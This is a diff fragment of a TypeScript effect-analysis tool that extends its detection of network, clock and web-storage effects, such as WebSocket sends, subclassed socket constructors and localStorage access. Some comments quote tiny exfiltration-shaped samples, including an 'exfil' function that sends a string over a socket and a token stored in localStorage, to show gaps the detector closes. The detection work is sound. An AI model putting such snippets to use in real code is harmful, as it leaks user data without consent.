+ if (projectFiles.has(df)) return false; // (2)
6391
+ if (!declaredInGlobalScope(d) && !declReachedAsDependency(d)) return false; // (3)
6392
+ let rt; try { rt = checker.typeToString(checker.getReturnTypeOfSignature(sig)); } catch { return false; }
6393
+ return /\bResponse\b/.test(rt); // (4)
6394
+ };
4960
6395
 
4961
6396
  // A bare-identifier call whose callee is DEFAULT- or NAMED-imported from a known HTTP-client package is a
4962
6397
  // Net call (corpus-audit #13). The κ table lists these packages, but its rule only fires on a MEMBER call
@@ -4992,6 +6427,22 @@ function visitCalls(node) {
4992
6427
  const rec = fns.get(owner);
4993
6428
  const sig = checker.getResolvedSignature(node);
4994
6429
  let decl = sig && sig.declaration;
6430
+ // ⟨R103⟩ A WRITABLE SLOT IS AN INCOMPLETE CANDIDATE SET — see `openCallSlot`, and see the class-
6431
+ // override fan-out below, which is the authority this converges on rather than a second rule: it
6432
+ // edges to every candidate it CAN name and adds `Unknown` when the set it enumerated is not
6433
+ // provably the whole one (⟨0.35⟩ "A NON-EMPTY CANDIDATE SET IS NOT A COMPLETE ONE"). A slot's
6434
+ // candidate set is exactly that shape — {the initializer} ∪ {whatever wrote it} — so the
6435
+ // resolution below runs UNCHANGED and this only ADDS.
6436
+ //
6437
+ // ADDITIVE ON PURPOSE, and this was measured, not assumed. The first cut REPLACED the resolution
6438
+ // instead of joining it, and the hono A/B caught it: `hc` went `["Clock","Net","Unknown"]` →
6439
+ // `["Net","Unknown"]`, because dropping the edge to `ClientRequestImpl.fetch` discarded the one
6440
+ // body we CAN see. That flips `deny Clock` from exit 1 to exit 0 — a fix for a silent under-report
6441
+ // introducing a silent under-report, which is this project's most-measured way to get it wrong.
6442
+ // Union cannot do that: no effect is ever removed, so no firing gate can go green. The price is
6443
+ // that the fabrication direction (`private h = fsThing; this.h = pureArrow` charging Fs) is only
6444
+ // DISCLOSED by the added `Unknown`, not cured. That is the right side to be wrong on.
6445
+ const slotCallee = decl ? openCallSlot(node) : null;
4995
6446
  if (!decl) {
4996
6447
  // `new C()` on a class with an IMPLICIT constructor resolves to no declaration — edge to
4997
6448
  // the class's (synthesized) ctor unit via the class identifier before concluding Unknown.
@@ -5315,7 +6766,9 @@ function visitCalls(node) {
5315
6766
  }
5316
6767
  } else {
5317
6768
  rec.direct.add("Unknown"); // override family too wide to enumerate soundly
5318
- rec.why.add(dispatchWhy(decl.parent?.name?.getText?.(), decl.name?.getText?.())); // class-override dispatch (overridable member, unresolved/too-wide family) — canonical `dispatch:OWNER.member`, frontier-relevant
6769
+ // R284 — QUALIFIED, like its <=12 sibling four lines up and like every other emission
6770
+ // site. This one alone emitted a bare `dispatch:Shape.m`, which no frontier resolves.
6771
+ rec.why.add(dispatchWhy(memberOwnerQual(decl), decl.name?.getText?.())); // class-override dispatch (overridable member, unresolved/too-wide family) — canonical `dispatch:OWNER.member`, frontier-relevant
5319
6772
  }
5320
6773
  }
5321
6774
  }
@@ -5381,8 +6834,15 @@ function visitCalls(node) {
5381
6834
  let allResolved = true;
5382
6835
  const targets = [];
5383
6836
  for (const cls of impls) {
5384
- const m = (cls.members ?? []).find((x) =>
5385
- (ts.isMethodDeclaration(x) || ts.isPropertyDeclaration(x)) && x.name?.getText?.() === member);
6837
+ // ⟨0.35, PART 87 fix⟩ `cls` may be a ClassDeclaration/ClassExpression (`.members`) OR
6838
+ // a structural implementor — an ObjectLiteralExpression (`.properties`) registered by
6839
+ // the structural-implementor pass above. A PropertyAssignment (`go: () => …`) is the
6840
+ // object-literal spelling `ts.isMethodDeclaration`/`ts.isPropertyDeclaration` alone
6841
+ // don't match; accepted here alongside them.
6842
+ const memberNodes = cls.members ?? cls.properties ?? [];
6843
+ const m = memberNodes.find((x) =>
6844
+ (ts.isMethodDeclaration(x) || ts.isPropertyDeclaration(x) || ts.isPropertyAssignment(x))
6845
+ && x.name?.getText?.() === member);
5386
6846
  const t = m && nodeName.get(m);
5387
6847
  if (t) targets.push(t);
5388
6848
  else allResolved = false;
@@ -5406,13 +6866,23 @@ function visitCalls(node) {
5406
6866
  // QUALIFIED owner (module.Type), matching the `mod.Class.member` fn quals so the
5407
6867
  // dispatch-frontier (callers --include-unknown) can resolve overrides against the
5408
6868
  // hierarchy sidecar. Bare `decl.parent.name` would not match a reacher's declaringType.
5409
- const tn = sigDecl.parent?.name
5410
- ? `${moduleOf(sigDecl.parent.getSourceFile())}.${namespacePrefixOf(sigDecl.parent)}${sigDecl.parent.name.getText()}`
5411
- : null;
6869
+ // R284 — `memberOwnerQual`, not `parent?.name`: a MethodSignature in a `type X = {...}`
6870
+ // has an owner (`X`) that only the ancestor walk can see, and demoting it to `callback:`
6871
+ // moved its §6.2 class out of `dispatch`. Same helper as the class-override arm, so the
6872
+ // two cannot answer this differently again.
6873
+ const tn = memberOwnerQual(sigDecl);
5412
6874
  // A CALL SIGNATURE has no member to name (`interface UnaryFunction { (x: T): R }`,
5413
- // `type PatchFn = (a, b) => void`), and a member of an ANONYMOUS type literal has no
5414
- // owner to name. Both are function-VALUE invocations, not member dispatch — see
5415
- // `dispatchWhy`. This is where all 1,234 malformed strings measured on a 15-repo corpus
6875
+ // `type PatchFn = (a, b) => void`) — a function-VALUE invocation, not member dispatch.
6876
+ //
6877
+ // THE SECOND HALF OF THIS SENTENCE WAS FALSE FROM R284 UNTIL R359, and R355's commit
6878
+ // message claimed to have corrected it while changing nothing here. It read "…and a
6879
+ // member of an ANONYMOUS type literal has no owner to name". R284 gave such a member an
6880
+ // owner deliberately — the named declaration that DECLARES the literal — which is right
6881
+ // for `type Named = { m(): void }` and wrong the moment the walk leaves the type
6882
+ // position. The rule now is: a literal in TYPE position takes the name of the
6883
+ // declaration that declares it; a literal in VALUE position, or nested behind a
6884
+ // property signature or a type argument, has no owner and stays `callback:`. See
6885
+ // `VALUE_POSITION_BOUNDARY` and `dispatchWhy`. This is where all 1,234 malformed strings measured on a 15-repo corpus
5416
6886
  // came from; the other emission sites produced none.
5417
6887
  rec.why.add(dispatchWhy(tn, sigDecl.name?.getText?.())); // resolution landed on a type, not a body — canonical `dispatch:OWNER.member` (frontier-relevant)
5418
6888
  }
@@ -5435,11 +6905,42 @@ function visitCalls(node) {
5435
6905
  rec.direct.add("Unknown");
5436
6906
  rec.why.add("reflect:eval"); // eval executes a runtime-supplied string — canonical `reflect:`
5437
6907
  }
5438
- if ((parent === "DateConstructor" && name === "now") || (parent === "Performance" && name === "now"))
6908
+ // R111 — the `Performance` member set is the SHARED constant, not a literal repeated here.
6909
+ // `performance.mark("m")` and `performance.measure("m")` read the clock and reported nothing
6910
+ // under lib.dom AND under `@types/node` — a member-coverage gap that was invisible precisely
6911
+ // BECAUSE the two resolution paths agreed, which is the third way this pair of tables has now
6912
+ // been wrong (R109 lib.dom-silent, R110 node-silent, R111 both-silent-together). Importing
6913
+ // `CLOCK_READING_PERFORMANCE_MEMBERS` rather than restating the names is the smallest thing
6914
+ // that makes their AGREEMENT mean anything: the two arms can no longer be widened separately,
6915
+ // which is the single degree of freedom that produced all three rows. Ground truth is EXECUTED
6916
+ // and recorded at the constant, together with the members deliberately NOT charged (`timerify`,
6917
+ // `toJSON`, `timeOrigin`, the `getEntries*` surface) and the measurement for each.
6918
+ // `DateConstructor.now` is NOT part of that set and keeps its own test: it is a different
6919
+ // interface with a different member list, and sharing a predicate between them would be a name
6920
+ // collision dressed up as a shared question.
6921
+ // R114 — the `Console` timer members, the lib.dom twin of the `(node:)?console` κ rule, reading
6922
+ // the SAME exported set for the same reason the `Performance` pair does. A project whose `lib`
6923
+ // includes DOM but which has no `@types/node` resolves `console.time` into `lib.dom.d.ts`, where
6924
+ // it is declared on `interface Console` — so without this arm the fix would have landed on one
6925
+ // resolution path only, which is R109/R110's entire failure mode.
6926
+ if ((parent === "DateConstructor" && name === "now")
6927
+ || (parent === "Performance" && CLOCK_READING_PERFORMANCE_MEMBERS.test(name))
6928
+ || (parent === "Console" && CLOCK_READING_CONSOLE_MEMBERS.test(name)))
5439
6929
  rec.direct.add("Clock");
5440
6930
  if (parent === "Math" && name === "random") rec.direct.add("Rand");
6931
+ // R136 — …AND THROUGH A SUBCLASS. `checker.getTypeAtLocation(node.expression)` names the
6932
+ // CALL-SITE expression's type, so `class MyDate extends Date {}` + `new MyDate()` reads
6933
+ // "MyDate" and the clock read vanished — silently, with no `Unknown` and no `invisible`.
6934
+ // The authority is the same one the connecting-ctor arm below now uses: the DECLARATION the
6935
+ // constructor resolved to, which for an inherited implicit constructor is the BASE's construct
6936
+ // signature, here `interface DateConstructor`. ADDITIVE (an `||`): a construction that named
6937
+ // itself before still fires, so this can only add a Clock, never remove one. Ground truth
6938
+ // EXECUTED on node 22.12.0 — `new MyDate()` and a two-level `class Deep extends MyDate {}`
6939
+ // both return the current time; `new MyDate(0)` returns the epoch and is correctly NOT charged,
6940
+ // because the zero-argument test is unchanged.
5441
6941
  if (ts.isNewExpression(node) && (node.arguments ?? []).length === 0
5442
- && checker.getTypeAtLocation(node.expression)?.symbol?.name === "DateConstructor")
6942
+ && (checker.getTypeAtLocation(node.expression)?.symbol?.name === "DateConstructor"
6943
+ || declaredCtorClassName(decl) === "DateConstructor"))
5443
6944
  rec.direct.add("Clock");
5444
6945
  // Browser/runtime NETWORK globals declared in lib.dom — no importable module for the κ table to
5445
6946
  // key on, so they read SILENT-PURE. `XMLHttpRequest.send`/`.open` issue the HTTP request; the
@@ -5471,6 +6972,21 @@ function visitCalls(node) {
5471
6972
  else rec.incomplete.add("Net");
5472
6973
  }
5473
6974
  }
6975
+ // R130 — the WIRE verbs of an ALREADY-OPEN `WebSocket`/`EventSource`, which were silently pure
6976
+ // in BOTH arms. The `new WebSocket(url)` branch below charges the CONNECT; nothing charged the
6977
+ // bytes, so a function handed an open socket read PURE with no `invisible` and no `Unknown` —
6978
+ // an omission, which under SPEC §2 rule 3 is a positive purity claim over an exfiltration
6979
+ // primitive. MEASURED on PUBLISHED 0.34.0, in ISOLATION (no other Net call in the file):
6980
+ // export function exfil(w: WebSocket, s: string): void { w.send(s); }
6981
+ // lib.dom -> ABSENT from `functions` all five policy forms -> exit 0
6982
+ // Ground truth EXECUTED against a real 127.0.0.1 listener: the frame arrives, payload intact.
6983
+ // This engine already charges `XMLHttpRequest.send` for exactly this operation eight lines up,
6984
+ // and κ's whole-module `net` rule already charges `socket.write`/`socket.end` — so the gap was
6985
+ // one API's spelling, not a decision. A USE-VERB: the endpoint was fixed at construction, so it
6986
+ // must NOT mark `incomplete` (the XHR `send` note above) and its argument 0 must NOT be read as
6987
+ // a host (NET_USE_VERBS at urlArgLiteral — arg0 is the payload).
6988
+ if ((parent === "WebSocket" || parent === "EventSource") && WEB_WIRE_MEMBERS.test(name))
6989
+ rec.direct.add("Net");
5474
6990
  // `navigator.sendBeacon(url, data)` — Net, and the one this set most needed. It exists to POST
5475
6991
  // data to a server on page-unload, it is what analytics and telemetry reach for, and it read
5476
6992
  // PURE: `deny Net` answered exit 0 over
@@ -5505,17 +7021,95 @@ function visitCalls(node) {
5505
7021
  if (parent === "Crypto" && (name === "getRandomValues" || name === "randomUUID")) {
5506
7022
  rec.direct.add("Rand");
5507
7023
  }
7024
+ // Web Storage — `localStorage`/`sessionStorage`. THE SAME es-lib/@types-node SPLIT the `Crypto`
7025
+ // line above exists for, and the half that was still open: @types/node's `web-globals/storage`
7026
+ // is deliberately absent from `NODE_CORE_REVIEWED`, so under `types: ["node"]` with `lib` not
7027
+ // including DOM the call fails closed as `Unknown[native:web-globals/storage.setItem]` and
7028
+ // `deny Unknown` exits 1. Resolve the SAME LINE through lib.dom — which is what `lib: ["…","DOM"]`
7029
+ // gives, and also what the DEFAULT `lib` for any ES target gives, so it is the common case, not
7030
+ // the exotic one — and it landed on the conventionally-pure arm below with no branch of its own:
7031
+ // export function stash(secret: string) { localStorage.setItem("token", secret); }
7032
+ // lib.dom → functions: [] deny Unknown → exit 0 (silent under-report)
7033
+ // @types/node → Unknown[native:…] deny Unknown → exit 1
7034
+ // One line, two answers, selected by tsconfig. Ground-truthed by EXECUTION under a `Storage`
7035
+ // shim: the write really happens. Converging on the fail-closed answer is the only direction
7036
+ // that is sound in both configs.
7037
+ //
7038
+ // KEYED ON THE RESOLVED DECLARATION'S PARENT (`Storage`), NOT ON THE IDENTIFIER TEXT. Keying on
7039
+ // the name `localStorage` would miss `window.localStorage`, `sessionStorage` (lib.dom declares
7040
+ // BOTH as `: Storage`, so both fall out of this one predicate — measured, not assumed) and a
7041
+ // `Storage`-typed parameter, and would fabricate on a user-defined binding called
7042
+ // `localStorage`. Reaching this arm already proves the declaration is `typescript/lib/lib.*.d.ts`
7043
+ // (`declModule`), so a project's own `class Storage` resolves `<local>` and is never charged.
7044
+ //
7045
+ // THE WHOLE INTERFACE, not a verb list: reads persist across sessions and origins just as writes
7046
+ // do, and an unlisted member would be silently pure — the denylist direction, matching what the
7047
+ // node floor already does for every member of that file. `Unknown` rather than `Fs` because the
7048
+ // backing store is not modelled (a browser's is not a filesystem, node's is a file); this is the
7049
+ // node arm's answer, verbatim, which is the point. Reason names the interface actually resolved
7050
+ // — `native:Storage.setItem` — rather than borrowing the node arm's file path, which no DOM-only
7051
+ // project has; both map to reason class `native`, so `Unknown[native]` gates identically.
7052
+ // NOT a claim about the whole DOM surface: `StorageManager.getDirectory` (OPFS), `IDBFactory`,
7053
+ // `caches` and the `localStorage.x = v` INDEX-SIGNATURE spelling are untouched and still pure —
7054
+ // the last of those is pure under @types/node too, so it is not part of this split.
7055
+ if (parent === "Storage") {
7056
+ rec.direct.add("Unknown");
7057
+ rec.why.add(`native:Storage.${name}`);
7058
+ }
5508
7059
  // `new EventSource(url)` / `new WebSocket(url)`: the constructor is declared on an anonymous
5509
7060
  // `declare var` object type (symbol `__type`, no usable parent name), but reaching the es-lib
5510
7061
  // branch already proves the ctor resolved to lib.dom (not a project class shadowing the name),
5511
7062
  // so the constructed identifier is the real browser global.
7063
+ // R130 — …AND THROUGH `extends`, which is a third spelling neither of the two above can see.
7064
+ // `super(url)` is a CallExpression, so the `isNewExpression` gate below is false; its resolved
7065
+ // declaration is the BASE's construct signature, whose `.name` and whose parent type literal's
7066
+ // name are both empty, so the `parent`/`name` branches above see `""` too. FOUND ON REAL CODE
7067
+ // by re-scanning a corpus under a node-style tsconfig — crossws `src/websocket/bun.ts`:
7068
+ // const _WebSocket = globalThis.WebSocket;
7069
+ // class BunWebSocket extends _WebSocket {
7070
+ // constructor(url, protocols, options) { super(url, protocols); … } }
7071
+ // which dials `url`, and whose constructor candor reported with NO effect at all. The class name
7072
+ // comes from the DECLARATION (`declaredCtorClassName`), never from the `extends` expression:
7073
+ // that expression is an alias here, and reaching this arm already proves the base resolved to
7074
+ // lib.dom rather than to a project class of the same name.
7075
+ if (isSuperCall(node) && CONNECTING_WEB_CTORS.test(declaredCtorClassName(decl))) {
7076
+ rec.direct.add("Net");
7077
+ const u = (node.arguments ?? [])[0];
7078
+ const lit = u && ts.isStringLiteralLike(u)
7079
+ ? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
7080
+ const h = lit ? hostLiteral(lit) : null;
7081
+ if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
7082
+ else rec.incomplete.add("Net");
7083
+ }
5512
7084
  if (ts.isNewExpression(node)) {
5513
7085
  // …through an alias too: `const W = WebSocket; new W(url)` reads a ctor named "W".
5514
7086
  // Same defect as the call path, one node type over — hence the SHARED unwrap.
5515
7087
  const unCtor = unaliasGlobal(node.expression);
5516
- const ctorName = unCtor.node.getText();
7088
+ const ctorSiteName = unCtor.node.getText();
5517
7089
  if (unCtor.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
5518
- if (ctorName === "EventSource" || ctorName === "WebSocket") {
7090
+ // R136 — …AND THROUGH A SUBCLASS, which neither the call-site name nor the alias unwrap can
7091
+ // see. `class Y3 extends WebSocket {}` declares no constructor, so `new Y3(u)` resolves to
7092
+ // the BASE's construct signature and the identifier at the call site is "Y3" — no rule
7093
+ // matches and a construction that opens a real socket reported NOTHING: absent from
7094
+ // `functions[]`, no `invisible`, no `Unknown`, and `deny Net` went exit 1 -> exit 0. This is
7095
+ // R130's own `declaredCtorClassName` walk, which landed on the κ arm's `ctorRuleName` and on
7096
+ // the `super(…)` branch six lines up but NOT here, so the fix was invisible to any test that
7097
+ // exercised the lib.dom path: under `types: ["node"]` the identical source read `['Net']`.
7098
+ // Same discipline as `ctorRuleName`: consulted ONLY when the call-site name is not already a
7099
+ // connecting ctor, and its answer used ONLY when it IS one — so it can add a name to the
7100
+ // connecting set and can never take one away. `class Y1 extends Headers {}` (declared name
7101
+ // "Headers", no rule) stays absent, measured. Ground truth EXECUTED on node 22.12.0: the
7102
+ // implicit-constructor subclass fires one real upgrade handshake against an
7103
+ // `http.createServer` listener, and so does a two-level `class ZZ extends Y3 {}`.
7104
+ const ctorName = CONNECTING_WEB_CTORS.test(ctorSiteName)
7105
+ ? ctorSiteName
7106
+ : (CONNECTING_WEB_CTORS.test(declaredCtorClassName(decl))
7107
+ ? declaredCtorClassName(decl) : ctorSiteName);
7108
+ // R130 — the SHARED constant, not a literal pair repeated here. The identical two names are
7109
+ // now κ rules for `undici-types` (the package `@types/node` re-exports these globals from),
7110
+ // and this arm and that table answering the same question from two hand-kept lists is the
7111
+ // single degree of freedom that produced R109, R110 and R111. Measurements at the constant.
7112
+ if (CONNECTING_WEB_CTORS.test(ctorName)) {
5519
7113
  rec.direct.add("Net");
5520
7114
  // The URL is argument 0 of both constructors — see the XHR note above for the measurement.
5521
7115
  const u = (node.arguments ?? [])[0];
@@ -5539,6 +7133,11 @@ function visitCalls(node) {
5539
7133
  // needs no entry here. Inert ctors (Agent/Server/Socket/TLSSocket/Http2Server*/message shells)
5540
7134
  // still synthesize "new" and stay pure.
5541
7135
  const CONNECTING_CTORS = new Set(["ClientRequest"]);
7136
+ // R130 — `new WebSocket(url)` / `new EventSource(url)` are the same shape as `ClientRequest`:
7137
+ // the connection is opened BY the construction, so the blanket `new`-exemption would convert a
7138
+ // real Net source into pure. Read from the SHARED constant the es-lib arm reads, so the two
7139
+ // resolution paths cannot be widened separately.
7140
+ const isConnectingCtor = (n) => CONNECTING_CTORS.has(n) || CONNECTING_WEB_CTORS.test(n);
5542
7141
  // Host-ESTABLISHING Net call names (the masking-fix allowlist): a Net call by one of these whose
5543
7142
  // host is not a captured literal leaves the host invisible. Excludes use-verbs (write/end/send on
5544
7143
  // a connected socket). `post/put/patch/delete/head/options` cover the axios/got/undici tier whose
@@ -5569,8 +7168,10 @@ function visitCalls(node) {
5569
7168
  "fchmodSync", "fchown", "fchownSync", "futimes", "futimesSync", "fstat", "fstatSync",
5570
7169
  "readv", "readvSync", "writev", "writevSync"]);
5571
7170
  const EXEC_USE_VERBS = new Set(["kill", "send", "disconnect", "ref", "unref"]);
7171
+ // `ctorRuleName` (below) rather than `ctorClassName`: a connecting ctor reached through a local
7172
+ // alias must still fail the surface closed on a runtime URL. Evaluated at call time, after it.
5572
7173
  const netEstablishing = (member) =>
5573
- CONNECTING_CTORS.has(ctorClassName) || NET_ESTABLISHING.has(member)
7174
+ isConnectingCtor(ctorRuleName) || NET_ESTABLISHING.has(member)
5574
7175
  || (/^(node:)?dgram$/.test(mod) && member === "send");
5575
7176
  // ⟨0.32⟩ THE CLASS BEING CONSTRUCTED, TAKEN FROM THE `new` EXPRESSION rather than from the
5576
7177
  // resolved constructor. A class that declares no constructor of its own INHERITS one, and
@@ -5614,8 +7215,31 @@ function visitCalls(node) {
5614
7215
  && p.name && ts.isIdentifier(p.name)) return p.name.getText();
5615
7216
  return "";
5616
7217
  };
5617
- const member = isConstruction
5618
- ? (CONNECTING_CTORS.has(ctorClassName) ? ctorClassName : "new")
7218
+ // R130 — THE NAME A CONNECTING CONSTRUCTION IS JUDGED BY, when the `new` expression's own
7219
+ // identifier is a LOCAL ALIAS. `ctorClassName` is read from the call site (⟨0.32⟩, for a good
7220
+ // reason: an inherited constructor lives in the base's file), so `const W = WebSocket; new W(u)`
7221
+ // names the class "W" and no rule can match — the es-lib arm handles that spelling with
7222
+ // `unaliasGlobal` and this arm had nothing. The authority for a construction's identity is the
7223
+ // `export declare const X: { new (…): X }` binding the construct signature sits inside, so walk
7224
+ // to it: ConstructSignature -> TypeLiteral -> VariableDeclaration. Consulted ONLY when the
7225
+ // call-site name is not already a connecting ctor, and its answer is used only when it IS one —
7226
+ // so it can add a name to the connecting set and can never take one away, and `new Headers()`
7227
+ // (binding name "Headers", no rule) is unchanged. A `class`-declared ctor (`ClientRequest`) has
7228
+ // a ClassDeclaration parent, not a TypeLiteral, and never reaches this.
7229
+ //
7230
+ // …AND THE SAME WALK ANSWERS THE `extends` SPELLING, which is neither a NewExpression nor a
7231
+ // named member. `class BunWebSocket extends globalThis.WebSocket { constructor(u){super(u)} }`
7232
+ // (crossws, real code) resolves `super(u)` to `undici-types`' construct signature: `member`
7233
+ // came out `""`, no rule could match, and a constructor that DIALS A URL reported nothing.
7234
+ // `isConstruction` is deliberately NOT widened to include super-calls — that would re-key every
7235
+ // `super()` into an external base onto the token `new` and hand the whole-module κ rules and the
7236
+ // node-core floor a call they have never been asked about. The name is used ONLY when it is a
7237
+ // connecting ctor, so this can add nothing else.
7238
+ const ctorRuleName = !(isConstruction || isSuperCall(node)) || isConnectingCtor(ctorClassName)
7239
+ ? ctorClassName
7240
+ : (isConnectingCtor(declaredCtorClassName(decl)) ? declaredCtorClassName(decl) : ctorClassName);
7241
+ const member = isConnectingCtor(ctorRuleName) ? ctorRuleName
7242
+ : isConstruction ? "new"
5619
7243
  : (decl.name ? decl.name.getText() : bindingName(decl));
5620
7244
  // ⟨0.32⟩ THE MODULE κ IS READ AGAINST — `mod` for everything except a construction whose
5621
7245
  // constructor came from somewhere else, which is re-keyed onto the CLASS's own module.
@@ -5647,6 +7271,23 @@ function visitCalls(node) {
5647
7271
  // node_modules-installed dependency of the same name is untouched: `isOwnPackageDecl` excludes
5648
7272
  // `node_modules/` outright, before the name is ever compared.
5649
7273
  let eff = isOwnPackageDecl(decl) ? null : kappa(kMod, member); // (CLASSIFY)
7274
+ // R114 — AND WHEN κ WAS ASKED ABOUT THE EMPTY TOKEN, ASK AGAIN WITH THE NAME AT THE CALL SITE.
7275
+ // A member declared as a CALL SIGNATURE on its own interface — `hrtime: HRTime`,
7276
+ // `memoryUsage: MemoryUsageFn` in `process.d.ts` — resolves to a declaration with no `.name`,
7277
+ // so `member` is `""`. Two comments in this family already say so ("`\"\"` is the token a CALL
7278
+ // SIGNATURE on an interface resolves to"), and the floor lists `""` as reviewed-pure — which is
7279
+ // how `import * as p from "node:process"; p.hrtime()` stayed SILENT while the identical global
7280
+ // `process.hrtime()` charged Clock. Same one-line-two-answers shape as R109/R110, reached
7281
+ // through the TOKEN rather than through the tsconfig.
7282
+ //
7283
+ // ONLY WHEN THE FIRST LOOKUP ANSWERED NOTHING, which makes this strictly ADDITIVE: it cannot
7284
+ // move a call off an effect a rule already gave it, and in particular it cannot walk a
7285
+ // net-cluster call into that module's exemption list — the direction that would hide something.
7286
+ // `memoryUsage`, `resourceUsage`, `cpuUsage` and `require` resolve the same way and are
7287
+ // unaffected: no κ rule names them, and the floor below is still asked with the original `""`.
7288
+ if (!eff && member === "" && !isOwnPackageDecl(decl)
7289
+ && ts.isPropertyAccessExpression(node.expression) && node.expression.name)
7290
+ eff = kappa(kMod, node.expression.name.text);
5650
7291
  // process.stdout/stderr/stdin are typed `tty.WriteStream`, which EXTENDS `net.Socket`, so a
5651
7292
  // `.write()`/`.end()` on them resolves to `net.Socket.write` and the whole-module Net rule
5652
7293
  // paints it Net. But a console write to fd 0/1/2 is TTY/console I/O, NOT network — there is no
@@ -5870,10 +7511,20 @@ function visitCalls(node) {
5870
7511
  // already ran its own chained-dep lookup above (`inheritedFromDep`, with its constructor/
5871
7512
  // owner-prefix spelling), so it hands the tail an already-external, already-unmatched `decl`
5872
7513
  // rather than re-deriving the join.
5873
- disclosureTail(rec, decl, pkg, file);
7514
+ disclosureTail(rec, decl, pkg, file, member);
5874
7515
  }
5875
7516
  }
5876
7517
  }
7518
+ // ⟨R103⟩ …and the slot's own answer, JOINED to whatever the resolution above concluded — the same
7519
+ // statement whether the initializer resolved to a local unit, to a dependency, or to a κ-classified
7520
+ // package member. It does NOT fire when `decl` was null, and that is the guard above, not an
7521
+ // oversight: an unresolvable call already lands on `Unknown` with its own `callback:` reason, so
7522
+ // firing here would add nothing to the report while making the hit counter count rows that did not
7523
+ // change — and a hit count that is not a count of CHANGES cannot price the fix.
7524
+ if (slotCallee) {
7525
+ rec.direct.add("Unknown");
7526
+ rec.why.add(`callback:${slotCallee}`); // a function VALUE read out of a writable slot — canonical `callback:`
7527
+ }
5877
7528
  // the callee EXPRESSION being a plain identifier of function-typed parameter/field:
5878
7529
  // a PARAMETER defers to callback-flow resolution (below) — if every call site of this
5879
7530
  // function passes a NAMED local unit, the invocation resolves to those targets; otherwise
@@ -5930,6 +7581,54 @@ function visitCalls(node) {
5930
7581
  markEnv();
5931
7582
  }
5932
7583
  }
7584
+ // R113 — WEB STORAGE, THE WHOLE INTERFACE, through the same six shapes the `process.env` block above
7585
+ // enumerates. That block is the AUTHORITY for "a host object touched as a whole", not a template to
7586
+ // paraphrase (§G): the question — which spellings reach a foreign key/value store — has one answer, and
7587
+ // writing a second, shorter list is how the next spelling gets missed. The shapes are dot/bracket access
7588
+ // (literal OR runtime key), destructuring, the `in` test, spread, a key-enumerating builtin, and for-in.
7589
+ //
7590
+ // `Unknown`, not `Fs`: the backing store is not modelled (a browser's is not a filesystem; node's
7591
+ // `--localstorage-file` one is). That is R109's answer verbatim, and the point is that the two lib
7592
+ // configurations converge on it. The reason names the interface actually resolved, so it gates as
7593
+ // `Unknown[native]` exactly like the `setItem` call.
7594
+ //
7595
+ // THE WHOLE INTERFACE, NOT A VERB LIST — the denylist direction, R109's argument transferring verbatim.
7596
+ // Reads persist across sessions and origins just as writes do, `length`/`key(i)` expose the stored key
7597
+ // set, and an unlisted member would be silently pure. Over-charging a `Storage` receiver is a precision
7598
+ // cost bounded to code that already touches web storage; under-charging one is the cardinal sin.
7599
+ {
7600
+ const markStore = (label) => {
7601
+ const owner = enclosing(node);
7602
+ if (!owner) return;
7603
+ const r = fns.get(owner);
7604
+ r.direct.add("Unknown");
7605
+ r.why.add(`native:Storage.${label}`);
7606
+ };
7607
+ const memberLabel = (n) => (ts.isPropertyAccessExpression(n) ? (n.name?.getText?.() ?? "?")
7608
+ : (n.argumentExpression && ts.isStringLiteralLike(n.argumentExpression)
7609
+ ? n.argumentExpression.text : "[computed]"));
7610
+ if ((ts.isPropertyAccessExpression(node) || ts.isElementAccessExpression(node))
7611
+ && isWebStorageExpr(node.expression)) {
7612
+ markStore(memberLabel(node));
7613
+ }
7614
+ else if (ts.isVariableDeclaration(node) && node.name && ts.isObjectBindingPattern(node.name)
7615
+ && node.initializer && isWebStorageExpr(node.initializer)) {
7616
+ markStore("<destructure>");
7617
+ }
7618
+ else if (ts.isBinaryExpression(node) && node.operatorToken.kind === ts.SyntaxKind.InKeyword
7619
+ && isWebStorageExpr(node.right)) {
7620
+ markStore("<in>");
7621
+ }
7622
+ else if ((ts.isSpreadAssignment(node) || ts.isSpreadElement(node)) && isWebStorageExpr(node.expression)) {
7623
+ markStore("<spread>");
7624
+ }
7625
+ else if (envTouchingBuiltinCall(node) && node.arguments.some((a) => isWebStorageExpr(a))) {
7626
+ markStore("<enumerate>");
7627
+ }
7628
+ else if (ts.isForInStatement(node) && isWebStorageExpr(node.expression)) {
7629
+ markStore("<for-in>");
7630
+ }
7631
+ }
5933
7632
  // Runtime GLOBALS reached as CALLS with no import for the κ resolver to classify: `process.hrtime()`/
5934
7633
  // `.hrtime.bigint()` is a monotonic clock read (Clock); `process.send(...)` is the child↔parent IPC
5935
7634
  // channel (Ipc); the global `fetch(...)` is the standard modern HTTP client (Net). Matched on the
@@ -5981,7 +7680,16 @@ function visitCalls(node) {
5981
7680
  return null;
5982
7681
  };
5983
7682
  const pmp = processMemberPath();
5984
- if (pmp === "hrtime" || pmp === "hrtime.bigint") geff = "Clock"; // a monotonic clock read
7683
+ // R114 — THE MEMBER SET IS THE SHARED CONSTANT, read on the LAST segment of the path. This arm and
7684
+ // the `(node:)?process` κ rule in scan-core.mjs are two implementations of one question, and before
7685
+ // this they DISAGREED: this arm charged `process.hrtime.bigint()` Clock while the κ floor listed
7686
+ // `hrtime`/`bigint` as reviewed-pure, so the global spelling answered `["Clock"]` and the imported
7687
+ // spelling answered silent-pure — one line, two answers, selected by how you reach `process`.
7688
+ // Importing the set is what makes their agreement mean something (R111's fix shape, applied to the
7689
+ // pair that was actually inconsistent rather than to the one that happened to be noticed).
7690
+ // The last segment is the token κ is asked about: `hrtime` -> "hrtime", `hrtime.bigint` -> "bigint",
7691
+ // `uptime` -> "uptime". `send` is NOT in the set and keeps its own Ipc line below.
7692
+ if (pmp && CLOCK_READING_PROCESS_MEMBERS.test(pmp.split(".").pop())) geff = "Clock"; // a monotonic clock read
5985
7693
  else if (pmp === "send") geff = "Ipc"; // the child↔parent IPC channel
5986
7694
  else if (ts.isIdentifier(callee) && importedFromNetPkg(callee))
5987
7695
  geff = "Net"; // a bare call to an HTTP-client default/named import (installed → sig resolves here) — #13
@@ -6048,6 +7756,35 @@ function visitCalls(node) {
6048
7756
  // `eval` global-qualifier handling (a runtime global a project would not shadow).
6049
7757
  else if (ctext === "globalThis.fetch" || ctext === "window.fetch" || ctext === "self.fetch")
6050
7758
  geff = "Net";
7759
